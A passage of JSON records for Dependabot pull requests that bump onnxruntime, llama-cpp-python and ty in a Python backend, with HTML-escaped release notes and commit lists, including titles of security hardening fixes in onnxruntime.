raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/f18aed6430c781ff3bc4fe41d9b5c2a7161657c4\"\u003e\u003ccode\u003ef18aed6\u003c/code\u003e\u003c/a\u003e Bump version to 0.0.37 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3473\"\u003e#3473\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/a63e55929645f8eeaa6f28117afda8d2ed39d1a4\"\u003e\u003ccode\u003ea63e559\u003c/code\u003e\u003c/a\u003e Bump version to 0.0.36 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3463\"\u003e#3463\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/94370d5b43c48d01720a9e65d8d8d5286b6697b1\"\u003e\u003ccode\u003e94370d5\u003c/code\u003e\u003c/a\u003e Update prek dependencies (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3449\"\u003e#3449\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/bc12d1cade50bc9407486057116fa0538bfb31ac\"\u003e\u003ccode\u003ebc12d1c\u003c/code\u003e\u003c/a\u003e Bump version to 0.0.35 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3436\"\u003e#3436\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/fb34d89e4acb379f6d8239d338881a6d1cce6642\"\u003e\u003ccode\u003efb34d89\u003c/code\u003e\u003c/a\u003e Build riscv64 manylinux binary (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3402\"\u003e#3402\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/05def00f5eb67a599b314e1d550b4ce07ae08727\"\u003e\u003ccode\u003e05def00\u003c/code\u003e\u003c/a\u003e Update maturin to v1.13.1 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3417\"\u003e#3417\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/569c081af4159100bfe7be97624da9ef9910d8c8\"\u003e\u003ccode\u003e569c081\u003c/code\u003e\u003c/a\u003e Update prek dependencies (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3416\"\u003e#3416\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/608f8ff6e705b656392a89a1cf4e0b977fb10ab4\"\u003e\u003ccode\u003e608f8ff\u003c/code\u003e\u003c/a\u003e Update renovate configuration (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3379\"\u003e#3379\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/518b61d7c2a2eff95e8826a9bba4a392574258b0\"\u003e\u003ccode\u003e518b61d\u003c/code\u003e\u003c/a\u003e Update uraimo/run-on-arch-action action to v3.1.0 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3405\"\u003e#3405\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/55429594f26e78d277b29aaadc10ca46f9277148\"\u003e\u003ccode\u003e5542959\u003c/code\u003e\u003c/a\u003e Update pre-commit hook astral-sh/ruff-pre-commit to v0.15.12 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3404\"\u003e#3404\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/astral-sh/ty/compare/0.0.34...0.0.37\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/yuyash/neural-trace/pull/8","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/yuyash%2Fneural-trace/issues/8","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/8/packages"},{"uuid":"4417278675","node_id":"PR_kwDOSR6pxs7aEaCc","number":7,"state":"open","title":"chore(deps)(deps): Bump the python-minor-and-patch group across 1 directory with 3 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-11T00:28:01.000Z","updated_at":"2026-05-11T00:28:02.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)(deps): Bump","group_name":"python-minor-and-patch","update_count":3,"packages":[{"name":"onnxruntime","old_version":"1.25.1","new_version":"1.26.0","repository_url":"https://github.com/microsoft/onnxruntime"},{"name":"llama-cpp-python","old_version":"0.3.21","new_version":"0.3.22","repository_url":"https://github.com/abetlen/llama-cpp-python"},{"name":"ty","old_version":"0.0.34","new_version":"0.0.35","repository_url":"https://github.com/astral-sh/ty"}],"path":null,"ecosystem":"pip"},"body":"Bumps the python-minor-and-patch group with 3 updates in the /backend directory: [onnxruntime](https://github.com/microsoft/onnxruntime), [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) and [ty](https://github.com/astral-sh/ty).\n\nUpdates `onnxruntime` from 1.25.1 to 1.26.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/microsoft/onnxruntime/releases\"\u003eonnxruntime's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.26.0\u003c/h2\u003e\n\u003cp\u003en.b. The following was generated via LLM from Git history. Only the contributor list has been verified.\u003c/p\u003e\n\u003ch1\u003eONNX Runtime Release 1.26.0\u003c/h1\u003e\n\u003ch2\u003eAnnouncement - Breaking Changes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSupport for CUDA 12 will be removed in 1.27.0.\u003c/strong\u003e\n\u003cul\u003e\n\u003cli\u003eCUDA 13 will continue to be published as \u003ccode\u003eonnxruntime-\u0026lt;os\u0026gt;-\u0026lt;arch\u0026gt;-gpu_cuda13-\u0026lt;version\u0026gt;.\u0026lt;ext\u0026gt;\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eCUDA runtime will be moving soon to a dedicated Execution Provider (EP) instead of a published package from ORT core.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eHighlights\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded optional memory mapping for \u003ccode\u003e.ort\u003c/code\u003e model loads (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28164\"\u003e#28164\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded RISC-V Vector (RVV) support for CPU EP (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28261\"\u003e#28261\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eOpenVINO EP upgraded for 1.26.0 development release (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28297\"\u003e#28297\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eWebGPU gained GridSample support (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28264\"\u003e#28264\u003c/a\u003e) and Split-K improvements (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28151\"\u003e#28151\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eCUDA plugin EP gained graph support (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28002\"\u003e#28002\u003c/a\u003e), profiling API (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28216\"\u003e#28216\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eSecurity and Reliability Hardening\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eReplaced unrestricted Python \u003ccode\u003esetattr\u003c/code\u003e configuration with an allowlist (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28083\"\u003e#28083\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eHardened multiple OOB and overflow scenarios across ML and core ops:\n\u003cul\u003e\n\u003cli\u003eAttention mask index OOB write (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27789\"\u003e#27789\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eMaxPoolGrad indices bounds validation (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27903\"\u003e#27903\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eSVM and TreeEnsemble bounds/security fixes (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27950\"\u003e#27950\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27951\"\u003e#27951\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27952\"\u003e#27952\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27989\"\u003e#27989\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eRNN sequence_lens OOB read and integer overflow handling (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28052\"\u003e#28052\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28003\"\u003e#28003\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eGroupQueryAttention seqlens_k bounds validation and compatibility follow-up (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28031\"\u003e#28031\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28259\"\u003e#28259\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eMatMulBnb4 and ML coefficient SafeInt checks (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27995\"\u003e#27995\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28001\"\u003e#28001\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eCUDA Gather int32 overflow fix (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28108\"\u003e#28108\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eGridSample float-\u0026gt;int64 cast hardening for NaN/Inf/out-of-range coords (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28302\"\u003e#28302\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eFixed session logger use-after-free during EP teardown under verbose logging (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28274\"\u003e#28274\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eCUDA, Attention, and MLAS\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFilled CUDA opset/operator gaps and extended support:\n\u003cul\u003e\n\u003cli\u003eTranspose opset 23 -\u0026gt; 25 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27740\"\u003e#27740\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eQuantizeLinear/DequantizeLinear opset 25 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28046\"\u003e#28046\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eCUDA TopK INT8/INT16/UINT8 support (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27862\"\u003e#27862\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eLabelEncoder CUDA support for numeric types (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28045\"\u003e#28045\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAttention/GQA improvements:\n\u003cul\u003e\n\u003cli\u003eFixed ONNX Attention min-bias alignment crash on SM\u0026lt;80 and masked-batch NaN behavior (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27831\"\u003e#27831\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded FP32 QK accumulation path for unfused GQA attention (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28198\"\u003e#28198\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded CUDART_VERSION reduction compatibility in GQA attention (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28296\"\u003e#28296\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed CUDA 13 build error in GQA unfused attention (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28309\"\u003e#28309\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003ePagedAttention fallback for SM\u0026lt;80 fp16 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28200\"\u003e#28200\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eMLAS updates:\n\u003cul\u003e\n\u003cli\u003eFP16 Gelu enablement (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/26815\"\u003e#26815\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eArm64 BF16 fast-math conv kernels for NCHW/NCHWc paths (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27878\"\u003e#27878\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/8c546c37b43caaca1fa25db430dab94b901cf277\"\u003e\u003ccode\u003e8c546c3\u003c/code\u003e\u003c/a\u003e 1.26.0 - cherry-pick for RC2 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28347\"\u003e#28347\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/55c5c822a02e6237a667c13cd5ed008cd55bb459\"\u003e\u003ccode\u003e55c5c82\u003c/code\u003e\u003c/a\u003e GridSample: harden float-\u0026gt;int64 casts against NaN/Inf/out-of-range coords (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/2\"\u003e#2\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/60ce9ccd65ebb1794110c4dddf2e110cf223e9f9\"\u003e\u003ccode\u003e60ce9cc\u003c/code\u003e\u003c/a\u003e Relax GQA seqlens_k shape validation for backward compat with older models (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/d02a0fd536d7cf6b88bfd268932d2933a1c3305c\"\u003e\u003ccode\u003ed02a0fd\u003c/code\u003e\u003c/a\u003e Fix DoubleQDQPairsRemover adding spurious dimension to scalar scale/zero-poin...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/9b30f306e40683df362249b7c139177cc83e352f\"\u003e\u003ccode\u003e9b30f30\u003c/code\u003e\u003c/a\u003e remove weights_are_all_positive_  from TreeEnsemble (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/27552\"\u003e#27552\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/5f2f848a6874d390c94502b3bb424447b119b975\"\u003e\u003ccode\u003e5f2f848\u003c/code\u003e\u003c/a\u003e fix(ci): incorrect relative template includes for setup-feeds (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28312\"\u003e#28312\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/de2bc90ce09d8bab419e07e1db741f445a27f721\"\u003e\u003ccode\u003ede2bc90\u003c/code\u003e\u003c/a\u003e Add QNN Plugin EP repo link to README (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28225\"\u003e#28225\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/8dd4a06811179a7c04aea0a97c65f45a3dc8c6af\"\u003e\u003ccode\u003e8dd4a06\u003c/code\u003e\u003c/a\u003e Include license file in built distributions (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/27783\"\u003e#27783\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/6e19374beb24cc2fa0e8262c6d51404af87aefc0\"\u003e\u003ccode\u003e6e19374\u003c/code\u003e\u003c/a\u003e Fix CUDA 13 build error in gqa_unfused_attention.cu (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28309\"\u003e#28309\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/d6c363c0d192bf2205155a18f01a62efa6b34da1\"\u003e\u003ccode\u003ed6c363c\u003c/code\u003e\u003c/a\u003e [OVEP] OpenVINO EP 1.26.0 Development Release Updates (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28297\"\u003e#28297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/microsoft/onnxruntime/compare/v1.25.1...v1.26.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `llama-cpp-python` from 0.3.21 to 0.3.22\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.22]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@63d93d173\u003c/li\u003e\n\u003cli\u003efeat(ci): Re-enable Windows CUDA wheels and add CUDA 12.5.1 wheel builds\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/14d7846f9a7c043901cb98bd446764377a8def6e\"\u003e\u003ccode\u003e14d7846\u003c/code\u003e\u003c/a\u003e fix(ci): skip unsupported Windows CUDA versions (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2204\"\u003e#2204\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/bc6ff9f2cc5545c180d8c3db4128d3ad48a31575\"\u003e\u003ccode\u003ebc6ff9f\u003c/code\u003e\u003c/a\u003e fix(ci): install CUDA CCCL headers for wheel builds (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2203\"\u003e#2203\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/04a3638b2637b0b6f1b843d16a679fbf7d2dd375\"\u003e\u003ccode\u003e04a3638\u003c/code\u003e\u003c/a\u003e fix(ci): pass CUDA compiler arg for Windows detection (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2202\"\u003e#2202\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/2bfd80c1c5fadd6bd95bb57e7332438cca5521cd\"\u003e\u003ccode\u003e2bfd80c\u003c/code\u003e\u003c/a\u003e fix(ci): pass CUDA unsupported compiler flag during detection (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2201\"\u003e#2201\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/9cf0ce7c2094c40d7166f3cc92f00f2c2236af4f\"\u003e\u003ccode\u003e9cf0ce7\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.22 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2200\"\u003e#2200\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d2113a14441f7d811b34f4aeee917449ad1da1b9\"\u003e\u003ccode\u003ed2113a1\u003c/code\u003e\u003c/a\u003e feat(ci): re-enable Windows CUDA wheels (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2198\"\u003e#2198\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/587d94a8c31943e3bcbcccbbd2721867da52a9de\"\u003e\u003ccode\u003e587d94a\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp to ggerganov/llama.cpp@63d93d173 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2197\"\u003e#2197\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c6dc90555be7bedda2d15f516b3ccd6252130a0f\"\u003e\u003ccode\u003ec6dc905\u003c/code\u003e\u003c/a\u003e fix(docs): update mkdocstrings inventories config (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2195\"\u003e#2195\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.21...v0.3.22\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ty` from 0.0.34 to 0.0.35\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ty/releases\"\u003ety's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.0.35\u003c/h2\u003e\n\u003ch2\u003eRelease Notes\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-05-10.\u003c/p\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow ParamSpec specialization through unioned generic classes (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24826\"\u003e#24826\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix cross-file find-references for keyword arguments (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25043\"\u003e#25043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix comparison between negative and positive literal integers (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25023\"\u003e#25023\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReject dataclass decorator parameters based on supported Python version (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25029\"\u003e#25029\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLSP server\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdjust start of block folding range to preserve visible header for character-precise LSP clients. (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24917\"\u003e#24917\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEmit folding ranges from the language server for multi-line block headers. (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24978\"\u003e#24978\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSkip global search for references if identifier is not externally visible (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25033\"\u003e#25033\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSpeed-up find-references by using multithreading for cross-file searches (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25042\"\u003e#25042\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCLI\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eInclude severity in JUnit diagnostics (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25080\"\u003e#25080\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCore type checking\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCheck non-generic overload implementations (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24936\"\u003e#24936\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExpand support for narrowing within walruses (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24968\"\u003e#24968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFilter overloads based on return type for ParamSpec mapping (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24769\"\u003e#24769\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprove support for recursive types (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24773\"\u003e#24773\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eInclude TypedDict type context when inferring mixed constructors (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25039\"\u003e#25039\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eInclude TypedDict type context when inferring string keys (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25037\"\u003e#25037\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePreserve NewType and TypeAliasType in implicit aliases (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25072\"\u003e#25072\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProvide type cntext for generator expression yields (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25069\"\u003e#25069\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProvide type context for boolean operands (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25070\"\u003e#25070\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSelectively promote a union of homogeneous fixed-length tuples to a single variadic tuple (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24705\"\u003e#24705\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport narrowing on \u003ccode\u003e__class__\u003c/code\u003e checks (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24997\"\u003e#24997\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUse more precise exception types when catching a union (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25076\"\u003e#25076\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDiagnostics\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eInclude error context for overload consistency diagnostics (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24950\"\u003e#24950\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCache results in desperate module resolution (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24977\"\u003e#24977\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eLazily initialize builder when transforming a union type (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24929\"\u003e#24929\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProject reachability constraints before narrowing (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24982\"\u003e#24982\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSkip parameter accumulation for object variadics (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24976\"\u003e#24976\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003c!-- raw HTML omitted 